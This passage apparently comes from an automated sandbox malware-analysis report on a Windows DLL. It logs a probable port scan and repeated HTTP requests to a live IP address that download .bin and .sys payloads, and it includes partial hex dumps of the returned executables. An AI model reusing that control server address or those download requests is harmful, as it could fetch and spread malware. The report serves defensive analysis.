Windows Analysis Report
SecuriteInfo.com.Win32.Evo-gen.18602.10500.dll

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 134.175.236.132 ports 17598,1,5,7,8,9

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 17598
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 17598
Source: unknown	Network traffic detected: HTTP traffic on port 17598 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 17598 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 17598
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 17598
Source: unknown	Network traffic detected: HTTP traffic on port 17598 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 17598 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 17598
Source: unknown	Network traffic detected: HTTP traffic on port 17598 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 17598
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 17598
Source: unknown	Network traffic detected: HTTP traffic on port 17598 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 17598 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 17598
Source: unknown	Network traffic detected: HTTP traffic on port 17598 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 17598
Source: unknown	Network traffic detected: HTTP traffic on port 17598 -> 49707

Source: global traffic

TCP traffic: 192.168.2.5:49705 -> 134.175.236.132:17598

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKAccept: text/plain, text/htmlContent-Length: 125232Connection: keep-aliveData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 25 35 c6 f1 61 54 a8 a2 61 54 a8 a2 61 54 a8 a2 75 3f a9 a3 62 54 a8 a2 61 54 a9 a2 40 54 a8 a2 75 3f ab a3 63 54 a8 a2 75 3f ac a3 62 54 a8 a2 a9 21 ad a3 63 54 a8 a2 a9 21 aa a3 60 54 a8 a2 52 69 63 68 61 54 a8 a2 00 00 00 00 00 00 00 00 50 45 00 00 64 86 07 00 50 27 93 65 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 1d 00 1e 00 00 00 0c 00 00 00 00 00 00 00 60 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 0a 00 00 00 0a 00 00 00 06 00 01 00 00 00 00 00 00 e0 01 00 00 04 00 00 30 41 02 00 01 00 60 41 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 90 60 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 50 00 00 20 01 00 00 00 82 01 00 30 67 00 00 00 d0 01 00 2c 00 00 00 b0 30 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 30 00 00 18 01 00 00 00 00 00 00 00 00 00 00 00 30 00 00 98 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 2a 18 00 00 00 10 00 00 00 1a 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 68 2e 72 64 61 74 61 00 00 8c 04 00 00 00 30 00 00 00 06 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 48 2e 64 61 74 61 00 00 00 28 00 00 00 00 40 00 00 00 02 00 00 00 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c8 2e 70 64 61 74 61 00 00 20 01 00 00 00 50 00 00 00 02 00 00 00 26 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 48 49 4e 49 54 00 00 00 00 c0 02 00 00 00 60 00 00 00 04 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 56 53 4b 30 00 00 00 72 52 01 00 00 70 00 00 00 54 01 00 00 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 68 2e 72 65 6c 6f 63 00 00 2c 00 00 00 00 d0 01 00 00 02 00 00 00 80 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKAccept: text/plain, text/htmlContent-Length: 125232Connection: keep-aliveData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 25 35 c6 f1 61 54 a8 a2 61 54 a8 a2 61 54 a8 a2 75 3f a9 a3 62 54 a8 a2 61 54 a9 a2 40 54 a8 a2 75 3f ab a3 63 54 a8 a2 75 3f ac a3 62 54 a8 a2 a9 21 ad a3 63 54 a8 a2 a9 21 aa a3 60 54 a8 a2 52 69 63 68 61 54 a8 a2 00 00 00 00 00 00 00 00 50 45 00 00 64 86 07 00 50 27 93 65 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 1d 00 1e 00 00 00 0c 00 00 00 00 00 00 00 60 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 0a 00 00 00 0a 00 00 00 06 00 01 00 00 00 00 00 00 e0 01 00 00 04 00 00 30 41 02 00 01 00 60 41 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 90 60 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 50 00 00 20 01 00 00 00 82 01 00 30 67 00 00 00 d0 01 00 2c 00 00 00 b0 30 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 30 00 00 18 01 00 00 00 00 00 00 00 00 00 00 00 30 00 00 98 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 2a 18 00 00 00 10 00 00 00 1a 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 68 2e 72 64 61 74 61 00 00 8c 04 00 00 00 30 00 00 00 06 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 48 2e 64 61 74 61 00 00 00 28 00 00 00 00 40 00 00 00 02 00 00 00 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c8 2e 70 64 61 74 61 00 00 20 01 00 00 00 50 00 00 00 02 00 00 00 26 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 48 49 4e 49 54 00 00 00 00 c0 02 00 00 00 60 00 00 00 04 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 56 53 4b 30 00 00 00 72 52 01 00 00 70 00 00 00 54 01 00 00 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 68 2e 72 65 6c 6f 63 00 00 2c 00 00 00 00 d0 01 00 00 02 00 00 00 80 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKAccept: text/plain, text/htmlContent-Length: 109632Connection: keep-aliveData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 25 35 c6 f1 61 54 a8 a2 61 54 a8 a2 61 54 a8 a2 75 3f a9 a3 62 54 a8 a2 61 54 a9 a2 40 54 a8 a2 75 3f ab a3 63 54 a8 a2 75 3f ac a3 62 54 a8 a2 a9 21 ad a3 63 54 a8 a2 a9 21 aa a3 60 54 a8 a2 52 69 63 68 61 54 a8 a2 00 00 00 00 00 00 00 00 50 45 00 00 64 86 07 00 50 27 93 65 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 1d 00 1e 00 00 00 0c 00 00 00 00 00 00 00 60 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 0a 00 00 00 0a 00 00 00 06 00 01 00 00 00 00 00 00 e0 01 00 00 04 00 00 1f 29 02 00 01 00 60 41 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 90 60 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 50 00 00 20 01 00 00 00 82 01 00 40 2a 00 00 00 d0 01 00 2c 00 00 00 b0 30 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 30 00 00 18 01 00 00 00 00 00 00 00 00 00 00 00 30 00 00 98 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 2a 18 00 00 00 10 00 00 00 1a 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 68 2e 72 64 61 74 61 00 00 8c 04 00 00 00 30 00 00 00 06 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 48 2e 64 61 74 61 00 00 00 28 00 00 00 00 40 00 00 00 02 00 00 00 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c8 2e 70 64 61 74 61 00 00 20 01 00 00 00 50 00 00 00 02 00 00 00 26 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 48 49 4e 49 54 00 00 00 00 c0 02 00 00 00 60 00 00 00 04 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 56 53 4b 30 00 00 00 72 52 01 00 00 70 00 00 00 54 01 00 00 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 68 2e 72 65 6c 6f 63 00 00 2c 00 00 00 00 d0 01 00 00 02 00 00 00 80 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKAccept: text/plain, text/htmlContent-Length: 109632Connection: keep-aliveData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 25 35 c6 f1 61 54 a8 a2 61 54 a8 a2 61 54 a8 a2 75 3f a9 a3 62 54 a8 a2 61 54 a9 a2 40 54 a8 a2 75 3f ab a3 63 54 a8 a2 75 3f ac a3 62 54 a8 a2 a9 21 ad a3 63 54 a8 a2 a9 21 aa a3 60 54 a8 a2 52 69 63 68 61 54 a8 a2 00 00 00 00 00 00 00 00 50 45 00 00 64 86 07 00 50 27 93 65 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 1d 00 1e 00 00 00 0c 00 00 00 00 00 00 00 60 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 0a 00 00 00 0a 00 00 00 06 00 01 00 00 00 00 00 00 e0 01 00 00 04 00 00 1f 29 02 00 01 00 60 41 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 90 60 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 50 00 00 20 01 00 00 00 82 01 00 40 2a 00 00 00 d0 01 00 2c 00 00 00 b0 30 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 30 00 00 18 01 00 00 00 00 00 00 00 00 00 00 00 30 00 00 98 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 2a 18 00 00 00 10 00 00 00 1a 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 68 2e 72 64 61 74 61 00 00 8c 04 00 00 00 30 00 00 00 06 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 48 2e 64 61 74 61 00 00 00 28 00 00 00 00 40 00 00 00 02 00 00 00 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c8 2e 70 64 61 74 61 00 00 20 01 00 00 00 50 00 00 00 02 00 00 00 26 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 48 49 4e 49 54 00 00 00 00 c0 02 00 00 00 60 00 00 00 04 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 56 53 4b 30 00 00 00 72 52 01 00 00 70 00 00 00 54 01 00 00 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 68 2e 72 65 6c 6f 63 00 00 2c 00 00 00 00 d0 01 00 00 02 00 00 00 80 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKAccept: text/plain, text/htmlContent-Length: 125232Connection: keep-aliveData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 25 35 c6 f1 61 54 a8 a2 61 54 a8 a2 61 54 a8 a2 75 3f a9 a3 62 54 a8 a2 61 54 a9 a2 40 54 a8 a2 75 3f ab a3 63 54 a8 a2 75 3f ac a3 62 54 a8 a2 a9 21 ad a3 63 54 a8 a2 a9 21 aa a3 60 54 a8 a2 52 69 63 68 61 54 a8 a2 00 00 00 00 00 00 00 00 50 45 00 00 64 86 07 00 50 27 93 65 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 1d 00 1e 00 00 00 0c 00 00 00 00 00 00 00 60 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 0a 00 00 00 0a 00 00 00 06 00 01 00 00 00 00 00 00 e0 01 00 00 04 00 00 30 41 02 00 01 00 60 41 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 90 60 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 50 00 00 20 01 00 00 00 82 01 00 30 67 00 00 00 d0 01 00 2c 00 00 00 b0 30 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 30 00 00 18 01 00 00 00 00 00 00 00 00 00 00 00 30 00 00 98 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 2a 18 00 00 00 10 00 00 00 1a 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 68 2e 72 64 61 74 61 00 00 8c 04 00 00 00 30 00 00 00 06 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 48 2e 64 61 74 61 00 00 00 28 00 00 00 00 40 00 00 00 02 00 00 00 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c8 2e 70 64 61 74 61 00 00 20 01 00 00 00 50 00 00 00 02 00 00 00 26 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 48 49 4e 49 54 00 00 00 00 c0 02 00 00 00 60 00 00 00 04 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 56 53 4b 30 00 00 00 72 52 01 00 00 70 00 00 00 54 01 00 00 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 68 2e 72 65 6c 6f 63 00 00 2c 00 00 00 00 d0 01 00 00 02 00 00 00 80 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKAccept: text/plain, text/htmlContent-Length: 109632Connection: keep-aliveData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 25 35 c6 f1 61 54 a8 a2 61 54 a8 a2 61 54 a8 a2 75 3f a9 a3 62 54 a8 a2 61 54 a9 a2 40 54 a8 a2 75 3f ab a3 63 54 a8 a2 75 3f ac a3 62 54 a8 a2 a9 21 ad a3 63 54 a8 a2 a9 21 aa a3 60 54 a8 a2 52 69 63 68 61 54 a8 a2 00 00 00 00 00 00 00 00 50 45 00 00 64 86 07 00 50 27 93 65 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 1d 00 1e 00 00 00 0c 00 00 00 00 00 00 00 60 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 0a 00 00 00 0a 00 00 00 06 00 01 00 00 00 00 00 00 e0 01 00 00 04 00 00 1f 29 02 00 01 00 60 41 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 90 60 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 50 00 00 20 01 00 00 00 82 01 00 40 2a 00 00 00 d0 01 00 2c 00 00 00 b0 30 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 30 00 00 18 01 00 00 00 00 00 00 00 00 00 00 00 30 00 00 98 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 2a 18 00 00 00 10 00 00 00 1a 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 68 2e 72 64 61 74 61 00 00 8c 04 00 00 00 30 00 00 00 06 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 48 2e 64 61 74 61 00 00 00 28 00 00 00 00 40 00 00 00 02 00 00 00 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c8 2e 70 64 61 74 61 00 00 20 01 00 00 00 50 00 00 00 02 00 00 00 26 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 48 49 4e 49 54 00 00 00 00 c0 02 00 00 00 60 00 00 00 04 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 56 53 4b 30 00 00 00 72 52 01 00 00 70 00 00 00 54 01 00 00 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 68 2e 72 65 6c 6f 63 00 00 2c 00 00 00 00 d0 01 00 00 02 00 00 00 80 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET /xz?mz=Pml.bin HTTP/1.1Host: 134.175.236.132:17598Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /xz?mz=Pml.bin HTTP/1.1Host: 134.175.236.132:17598Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /xz?mz=PmlHousPro.sys HTTP/1.1Host: 134.175.236.132:17598Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /xz?mz=PmlHousPro.sys HTTP/1.1Host: 134.175.236.132:17598Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /xz?mz=PmlHousProMax.sys HTTP/1.1Host: 134.175.236.132:17598Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /xz?mz=PmlHousProMax.sys HTTP/1.1Host: 134.175.236.132:17598Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /xz?mz=Pml.bin HTTP/1.1Host: 134.175.236.132:17598Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /xz?mz=PmlHousPro.sys HTTP/1.1Host: 134.175.236.132:17598Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /xz?mz=PmlHousProMax.sys HTTP/1.1Host: 134.175.236.132:17598Cache-Control: no-cache

Source: Joe Sandbox View

ASN Name: CNNIC-TENCENT-NET-APShenzhenTencentComputerSystemsCompa CNNIC-TENCENT-NET-APShenzhenTencentComputerSystemsCompa

Source: unknown	TCP traffic detected without corresponding DNS query: 134.175.236.132
Source: unknown	TCP traffic detected without corresponding DNS query: 134.175.236.132
Source: unknown	TCP traffic detected without corresponding DNS query: 134.175.236.132
Source: unknown	TCP traffic detected without corresponding DNS query: 134.175.236.132
Source: unknown	TCP traffic detected without corresponding DNS query: 134.175.236.132
Source: unknown	TCP traffic detected without corresponding DNS query: 134.175.236.132
Source: unknown	TCP traffic detected without corresponding DNS query: 134.175.236.132
Source: unknown	TCP traffic detected without corresponding DNS query: 134.175.236.132
Source: unknown	TCP traffic detected without corresponding DNS query: 134.175.236.132
Source: unknown	TCP traffic detected without corresponding DNS query: 134.175.236.132
Source: unknown	TCP traffic detected without corresponding DNS query: 134.175.236.132
Source: unknown	TCP traffic detected without corresponding DNS query: 134.175.236.132
Source: unknown	TCP traffic detected without corresponding DNS query: 134.175.236.132
Source: unknown	TCP traffic detected without corresponding DNS query: 134.175.236.132
Source: unknown	TCP traffic detected without corresponding DNS query: 134.175.236.132
Source: unknown	TCP traffic detected without corresponding DNS query: 134.175.236.132
Source: unknown	TCP traffic detected without corresponding DNS query: 134.175.236.132
Source: unknown	TCP traffic detected without corresponding DNS query: 134.175.236.132
Source: unknown	TCP traffic detected without corresponding DNS query: 134.175.236.132
Source: unknown	TCP traffic detected without corresponding DNS query: 134.175.236.132
Source: unknown	TCP traffic detected without corresponding DNS query: 134.175.236.132
Source: unknown	TCP traffic detected without corresponding DNS query: 134.175.236.132
Source: unknown	TCP traffic detected without corresponding DNS query: 134.175.236.132
Source: unknown	TCP traffic detected without corresponding DNS query: 134.175.236.132
Source: unknown	TCP traffic detected without corresponding DNS query: 134.175.236.132
Source: unknown	TCP traffic detected without corresponding DNS query: 134.175.236.132
Source: unknown	TCP traffic detected without corresponding DNS query: 134.175.236.132
Source: unknown	TCP traffic detected without corresponding DNS query: 134.175.236.132
